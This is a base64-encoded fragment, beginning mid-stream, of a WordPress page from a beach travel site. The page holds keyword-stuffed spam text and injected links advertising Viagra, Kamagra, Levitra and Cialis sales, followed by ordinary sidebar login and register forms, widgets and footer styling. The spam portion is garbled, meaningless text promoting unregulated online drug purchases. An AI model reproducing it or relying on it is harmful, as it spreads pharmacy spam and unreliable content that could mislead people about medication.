9tJTNFJUUyJTk0JUE1JUUyJTlDJThFZlZDJTVCJTVEMzMlRUMlQjklQjQlRUMlQTclODAlRUIlODUlQjgyMDE5LTAzLTAyLTA3LTMyJUVCJUIwJTk0JUVDJUI5JUI0JSI+U2hvcCBSZWQgVmlhZ3JhIGluIENhbWJvZGlhIFBobm9tIFBlbmg8L2E+IHZpbnlsIGxldHRlcmluZyBwYXJ0eSBwbGFucyBsYWtlIHJlbmVnYWRlIDI1MCBwbGFucyBkZWF0aHMgY2F1c2VkIGJ5IHR5bGVub2wgdXNlIG9mIGNldGlyaXppbmUgYXMgYSBtZWFzdXJlbWVudCBjaGltbmV5IGNhcHMgYW1hem9uIGVtZXJnZW5jeSB3YXlzIHRvIGxvd2VyIGJsb29kIHByZXNzdXJlIGNhbGVuZGFyIGVzbCBsZXNzb24gcGxhbiB3YWxtYXJ0IHBoYXJtYWN5ICQ0IGdlbmVyaWMgYXppdGhyb215Y2luIGluZ3JlZGllbnRzIGdlbmVyaWMgYmVzdCBza2luIGNhcmUgZm9yIHJvc2VhY2E8L3A+CjxwPkthbWFncmEgaW5mb3JtYXRpb24gLSBDb3Vwb25zICYgUGhhcm1hY3kgSW5mb3JtYXRpb24gYmV0aGFueSBiYXVtYW4gZGlhYmV0ZXMgcGxhbiBkZSBwZW5zaW9uZXMgaWRkcCBtZXRoIGJyZWFzdCBjYW5jZXIgZG9lcyBtZWRpY2F0aW9uIGNhdXNlIGhhaXIgbG9zcyBicnV0ZSBmb3JjZSBwbGFucyBicmVhc3QgY2FuY2VyIDMgZGF5IGRhbGxhcyBhdGNoaXNvbiBhY3MgY2FuY2VyIGZhY3RzIDIwMDcgbHVjb20gcGxhbiBhbm9kb250aWEgYW5kIGNhbmNlciA0MDMgYiBwbGFuIGxvYW4gY29sbGF0ZXJhbCBhcnJhbmdlbWVudHMgbWljcm9zb2Z0IHBhaW50IGxlc3NvbiBwbGFuIGphbWVzIGhvc3BpdGFsIGNhbmNlciBjYW5jZXIgc3Vydml2b3IgbWFrZXMgdGVhIHN1cHBsZW1lbnRzIHRoYXQgaGVscCByaGV1bWF0b2lkIGFydGhyaXRpcyBtaW5vY3ljbGluZSBzdGFpbnMgZW5lcmd5LWVmZmljaWVudCByZXRpcmVtZW50IGhvdXNlIHBsYW5zIHRlbiB5ZWFyIHBsYW4gdmlyZ2lucyBnZW5lcmljIGV0aGVybmV0IGNhcmQgZHJpdmVycyBsaXRoaXVtIHllYXJib29rIHhhbGF0YW4gYmVzdCBwcmljZSBjYW5jZXIgZGFpcnkgZnJlZSBjaGVzcyB0YWJsZSBwbGFuIHdhbGthdGhvbiBmb3IgY2FuY2VyIGJpcnRoIGNvbnRyb2wgcGlsbHMgdm9pY2UgcHJvYmxlbSBiZXN0IHByaWNlIHZpdGFtaW4gazIgbGVzc29uIHBsYW4gZm9ybWF0IGZvciBwcmVrPC9wPgo8YSBocmVmPSJodHRwczovL3d3dy5rZXl0YXJocS5jb20vcHJvZHVjdC9CMDAwMk1EVFZTL1VTL2tleXRhcmhxMDQtMjAvIj5TaG9wIEV4dHJhIFN1cGVyIExldml0cmEgaW4gUGFsYXUgTmdlcnVsbXVkPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3Lm1vdW50YWluZWVyZmxvcmlzdC5jb20vam9icy8iPkJ1bGsgQnV5IEthbWFncmEgLSBhY2NlcHQgQ3JlZGl0IENhcmQ8L2E+IDxhIGhyZWY9Imh0dHA6Ly9iZXRpbmV3cy5jb20vP3A9NTU3OSI+T3JkZXIgS2FtYWdyYSBTb2Z0IGluIEFuZG9ycmEgQW5kb3JyYSBsYSBWZWxsYTwvYT4gPGEgaHJlZj0iaHR0cDovL3d3dy5hcG9wc2ktdG9yYS5nci8lY2YlODAlY2UlYmYlY2UlYjklY2UlYmYtJWNlJWI3JWNlJWJjJWNlJWI5JWNmJTgzJWNmJTg2JWNlJWIxJWNlJWFmJWNmJTgxJWNlJWI5JWNlJWJmLSVjZiU4NCVjZSViZiVjZiU4NS0lY2UlYjUlY2UlYjMlY2UlYmElY2UlYjUlY2YlODYlY2UlYWMlY2UlYmIlY2UlYmYlY2YlODUtJWNmJTgzJWNlJWIxJWNmJTgyLSVjZiU4NyVjZiU4MSVjZSViNy8iPlB1cmNoYXNlIExldml0cmEgaW4gR2licmFsdGFyIEdpYnJhbHRhcjwvYT4gPGEgaHJlZj0iaHR0cHM6Ly9ub3d3b3JsZG5ld3MubmV0L2hhdmUtdG8tbWFrZS1maWdodGluZy1jbGltYXRlLWNoYW5nZS1hLWNoYXJhY3Rlci1pc3N1ZS1pbnNsZWUtb24tMjAyMC1wbGF0Zm9ybS12aWRlby8iPlB1cmNoYXNlIGNpYWxpcyBvbmxpbmUgY2FuYWRhPC9hPiA8YSBocmVmPSJodHRwOi8vZmluZG15cmVjaXBlcy5jb20vZnVzaW9uLXNoYWtzaHVrYS1yZWNpcGUtYnktZm9vZC1mdXNpb24vIj5QdXJjaGFzZSBMZXZpdHJhIFBsdXMgaW4gQnVsZ2FyaWEgU29maWE8L2E+IDxhIGhyZWY9Imh0dHA6Ly93d3cuYXBvcHNpLXRvcmEuZ3IvJUNGJTgzJUNGJTg0JUNFJUJGLSVDRSVCMiVDRSVCNSVDRiU4MSVDRSVCRiVDRSVCQiVDRSVBRiVDRSVCRCVDRSVCRi0lQ0YlODQlQ0UlQkYtJUNGJTgzJUNGJTg1JUNFJUJEJUNFJUFEJUNFJUI0JUNGJTgxJUNFJUI5JUNFJUJGLSVDRSVCMyVDRSVCOSVDRSVCMS0lQ0YlODQlQ0UlQjclQ0UlQkQtJUNFJUIzJUNFJUI1JUNFJUJEJUNFJUJGJUNFJUJBLyI+T2J0YWluIExldml0cmEgSmVsbHkgY2hlYXA8L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZiYy5vcmcua3kvdGFnL3NvcnJvdy8iPk9yZGVyIENpYWxpcyBpbiBXYWxlcyBDYXJkaWZmPC9hPiA8YSBocmVmPSJodHRwczovL2ZpbG1vdml6aWphLm9ubGluZS9jYXN0L2l2YW4tdnVqaWMvIj5PcmRlciBLYW1hZ3JhIENoZXdhYmxlIGluIEZpamkgU3V2YTwvYT4gPGEgaHJlZj0iaHR0cDovL2FmZ2hhbm9yYmFuZC5jb20vaW5kZXgucGhwP2IybzB2d2tnaW8iPk9yZGVyIFZpYWdyYSBTdXBlciBBY3RpdmUgb25saW5lIGNoZWFwPC9hPiANCgkJPC9kaXY+CjwvYXJ0aWNsZT4KCgoJCQk8L2Rpdj4KCgkJPC9kaXY+CgoKCQkJCTxkaXYgaWQ9InNlY29uZGFyeSIgY2xhc3M9IndpZGdldC1hcmVhIiByb2xlPSJjb21wbGVtZW50YXJ5Ij4KPGFzaWRlIGlkPSJhaXQtZGlyZWN0b3J5LXdpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9kaXJlY3RvcnkiPgkJCTxkaXYgY2xhc3M9Im5vdC1sb2dnZWQiPg0KCQkJPGRpdiBpZD0iYWl0LWxvZ2luLXRhYnMiPg0KCQkJCTx1bD4NCgkJCQkJPGxpPjxhIGNsYXNzPSJsb2dpbiIgaHJlZj0iI2FpdC1kaXItbG9naW4tdGFiIj5Mb2dpbjwvYT48L2xpPg0KCQkJCQk8bGkgY2xhc3M9ImFjdGl2ZSI+PGEgY2xhc3M9InJlZ2lzdGVyIiBocmVmPSIjYWl0LWRpci1yZWdpc3Rlci10YWIiPlJlZ2lzdGVyPC9hPjwvbGk+DQoJCQkJPC91bD4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItbG9naW4tdGFiIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KCQkJCTxwPjwvcD4NCgkJCQkKCQk8Zm9ybSBuYW1lPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGlkPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGFjdGlvbj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWxvZ2luLnBocCIgbWV0aG9kPSJwb3N0Ij4KCQkJCgkJCTxwIGNsYXNzPSJsb2dpbi11c2VybmFtZSI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSBvciBFbWFpbCBBZGRyZXNzPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2ciIGlkPSJ1c2VyX2xvZ2luIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1wYXNzd29yZCI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX3Bhc3MiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIiBpZD0idXNlcl9wYXNzIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tcmVtZW1iZXIiPjxsYWJlbD48aW5wdXQgbmFtZT0icmVtZW1iZXJtZSIgdHlwZT0iY2hlY2tib3giIGlkPSJyZW1lbWJlcm1lIiB2YWx1ZT0iZm9yZXZlciIgLz4gUmVtZW1iZXIgTWU8L2xhYmVsPjwvcD4KCQkJPHAgY2xhc3M9ImxvZ2luLXN1Ym1pdCI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIGNsYXNzPSJidXR0b24gYnV0dG9uLXByaW1hcnkiIHZhbHVlPSJMb2cgSW4iIC8+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iIC8+CgkJCTwvcD4KCQkJCgkJPC9mb3JtPgkJCQk8L2Rpdj4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItcmVnaXN0ZXItdGFiIj4NCgkJCQk8cD48L3A+DQoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLXJlZ2lzdGVyPXJlZ2lzdGVyIiBjbGFzcz0id3AtdXNlci1mb3JtIj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItdXNlcm5hbWUiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2xvZ2luIiB2YWx1ZT0iIiBzaXplPSIyMCIgaWQ9InVzZXJfbG9naW5fcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAxIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItZW1haWwiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9lbWFpbCI+RW1haWwgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2VtYWlsIiB2YWx1ZT0iIiBzaXplPSIyNSIgaWQ9InVzZXJfZW1haWxfcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAyIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItcm9sZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJkaXJlY3Rvcnktcm9sZSI+UGFja2FnZSA8L2xhYmVsPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJkaXJlY3Rvcnktcm9sZSI+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnlfMSIgY2xhc3M9ImZyZWUiPlN1Ym1pdCBBIE5ldyBMaXN0aW5nIChGcmVlKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8yIj5EaXJlY3RvcnkgUHJlbWl1bSAoMTAgVVNEKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8zIj5DbGFpbSBZb3VyIExpc3RpbmcgLSA0NyBVU0QgcGVyIHllYXIgKDQ3IFVTRCk8L29wdGlvbj4JCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luLWZpZWxkcyI+DQoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1c2VyLXN1Ym1pdCIgdmFsdWU9IlNpZ24gdXAhIiBjbGFzcz0idXNlci1zdWJtaXQiIHRhYmluZGV4PSIxMDMiIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cyIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXItY29va2llIiB2YWx1ZT0iMSIgLz4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJCTwvZGl2Pg0KDQoJCQkJPHNjcmlwdD4NCgkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsNCgkJCQkJdmFyIHRhYlJlZ2lzdGVyID0gJCgnI2FpdC1kaXItcmVnaXN0ZXItdGFiJyksDQoJCQkJCQl0YWJMb2dpbiA9ICAkKCcjYWl0LWRpci1sb2dpbi10YWInKSwNCgkJCQkJCWxpbmtMb2dpbiA9ICQoJyNhaXQtbG9naW4tdGFicyAubG9naW4nKSwNCgkJCQkJCWxpbmtSZWdpc3RlciA9ICQoJyNhaXQtbG9naW4tdGFicyAucmVnaXN0ZXInKTsNCgkJCQkJbGlua0xvZ2luLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuaGlkZSgpOw0KCQkJCQkJbGlua0xvZ2luLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYkxvZ2luLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQlsaW5rUmVnaXN0ZXIuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5oaWRlKCk7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkuYWRkQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuc2hvdygpOw0KCQkJCQkJZXZlbnQucHJldmVudERlZmF1bHQoKTsNCgkJCQkJfSk7DQoJCQkJCS8vIGluaXQgYW5kIGNoYW5nZQ0KCQkJCQl2YXIgc2VsZWN0ID0gdGFiUmVnaXN0ZXIuZmluZCgnc2VsZWN0W25hbWU9ZGlyZWN0b3J5LXJvbGVdJyksDQoJCQkJCQlidXR0b25TdWJtaXQgPSB0YWJSZWdpc3Rlci5maW5kKCdpbnB1dFtuYW1lPXVzZXItc3VibWl0XScpLA0KCQkJCQkJZnJlZVRpdGxlID0gJ1NpZ24gdXAnLA0KCQkJCQkJYnV5VGl0bGUgPSAnQnV5IHdpdGggUGF5UGFsJzsNCgkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChmcmVlVGl0bGUpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCX0NCgkJCQkJc2VsZWN0LmNoYW5nZShmdW5jdGlvbihldmVudCkgew0KCQkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCQl9DQoJCQkJCX0pOw0KCQkJCX0pOw0KCQkJCTwvc2NyaXB0Pg0KDQoJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJPC9hc2lkZT48YXNpZGUgaWQ9ImN1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2N1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0Ij5ObyBwb3N0cyBmb3VuZDwvYXNpZGU+PGFzaWRlIGlkPSJ0ZXh0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3RleHQiPgkJCTxkaXYgY2xhc3M9InRleHR3aWRnZXQiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzdHJhdmVsLmNvbS8iPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvbG9nb2Z1bnJ1bm5lci5wbmciIGFsdD0iU21pbGV5IGZhY2UiIGhlaWdodD0iNDciIHdpZHRoPSIzMDAiPjwvZGl2PgoJCTwvYXNpZGU+PGFzaWRlIGlkPSJwb3N0cy13aWRnZXQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfcG9zdHMiPiAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW1zLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHA+PHNtYWxsPkV4YW1wbGU8L3NtYWxsPjwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZC1tb3JlIj4KICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5EZWNlbWJlciAzMCwgMjAxNjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZnIiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3A9ODI4OCI+cmVhZCBtb3JlPC9hPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIGxhc3QiPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8cD48c21hbGw+ZG9nPC9zbWFsbD48L3A+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlYWQtbW9yZSI+CiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPSJmbCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+RGVjZW1iZXIgMjksIDIwMTY8L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgoKICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODQiPnJlYWQgbW9yZTwvYT4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+PC9hc2lkZT4JCQkJPC9kaXY+CgoJPC9kaXY+Cgo8L2Rpdj4gCgoJCTxmb290ZXIgaWQ9ImNvbG9waG9uIiByb2xlPSJjb250ZW50aW5mbyI+CgoJCQk8ZGl2IGlkPSJzdXBwbGVtZW50YXJ5IiBjbGFzcz0id2lkZ2V0cyBkZWZhdWx0Q29udGVudFdpZHRoIj4KCgoJCQk8L2Rpdj4KCjxkaXYgaWQ9InNpdGUtZ2VuZXJhdG9yIiBjbGFzcz0iY2xlYXJmaXgiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+CgkJPGRpdiBpZD0iZm9vdGVyLXRleHQiPgoJCQk8cD48c3Ryb25nPsKpIDIwMTcgQ29weXJpZ2h0IGJ5IGZ1bnJ1bm5lcnNiZWFjaGVzLnVzIC48L3N0cm9uZz4gQWxsIHJpZ2h0cyByZXNlcnZlZC48L3A+CgkJPC9kaXY+CjxuYXYgY2xhc3M9ImZvb3Rlci1tZW51Ij48dWwgaWQ9Im1lbnUtZm9vdGVyLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjM2IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjM2Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvIj5Ib21lPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzUiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNSI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wYWdlX2lkPTUwMTkiPkJsb2c8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzOCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM4Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NTAwMiI+VGhlbWUgRmVhdHVyZXM8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNyIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM3Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NDE3NyI+Q29udGFjdCBVczwvYT48L2xpPgo8L3VsPjwvbmF2Pgk8L2Rpdj4KPC9kaXY+CgkJPC9mb290ZXI+CgoJPC9kaXY+Cgo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpmaXhlZDtib3R0b206MDtsZWZ0OjglO3otaW5kZXg6OTk5OTk5OyIgaWQ9Imd0cmFuc2xhdGVfd3JhcHBlciI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zd2l0Y2hlciB7Zm9udC1mYW1pbHk6QXJpYWw7Zm9udC1zaXplOjEwcHQ7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxNjNweDtsaW5lLWhlaWdodDoxN3B4O30KLnN3aXRjaGVyIGEge3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjEwcHQ7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O30KLnN3aXRjaGVyIGEgaW1nIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZGlzcGxheTppbmxpbmU7Ym9yZGVyOjA7cGFkZGluZzowO21hcmdpbjowO29wYWNpdHk6MC44O30KLnN3aXRjaGVyIGE6aG92ZXIgaW1nIHtvcGFjaXR5OjE7fQouc3dpdGNoZXIgLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkZGRkYgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9zd2l0Y2hlci5wbmcpIHJlcGVhdC14O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5OTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYSB7Ym9yZGVyOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDtjb2xvcjojNjY2NjY2O3BhZGRpbmc6M3B4IDVweDt3aWR0aDoxNTFweDt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYS5vcGVuIHtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfdXAucG5nKX0KLnN3aXRjaGVyIC5zZWxlY3RlZCBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGMEYwRjAgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDt9Ci5zd2l0Y2hlciAub3B0aW9uIHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTg7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZC1jb2xvcjojRUVFRUVFO2Rpc3BsYXk6bm9uZTt3aWR0aDoxNjFweDttYXgtaGVpZ2h0OjE5OHB4Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtvdmVyZmxvdy15OmF1dG87b3ZlcmZsb3cteDpoaWRkZW47fQouc3dpdGNoZXIgLm9wdGlvbiBhIHtjb2xvcjojMDAwO3BhZGRpbmc6M3B4IDVweDt9Ci5zd2l0Y2hlciAub3B0aW9uIGE6aG92ZXIge2JhY2tncm91bmQ6I0ZGQzt9Ci5zd2l0Y2hlciAub3B0aW9uIGEuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGQzt9CiNzZWxlY3RlZF9sYW5nX25hbWUge2Zsb2F0OiBub25lO30KLmxfbmFtZSB7ZmxvYXQ6IG5vbmUgIWltcG9ydGFudDttYXJnaW46IDA7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNTt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhciB7d2lkdGg6NXB4O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtib3JkZXItcmFkaXVzOjVweDstd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojODg4O30KPC9zdHlsZT4KPGRpdiBjbGFzcz0ic3dpdGNoZXIgbm90cmFuc2xhdGUiPgo8ZGl2IGNsYXNzPSJzZWxlY3RlZCI+CjxhIGhyZWY9IiMiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZW4ucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZW4iIC8+IEVuZ2xpc2g8L2E+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJvcHRpb24iPgo8YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUo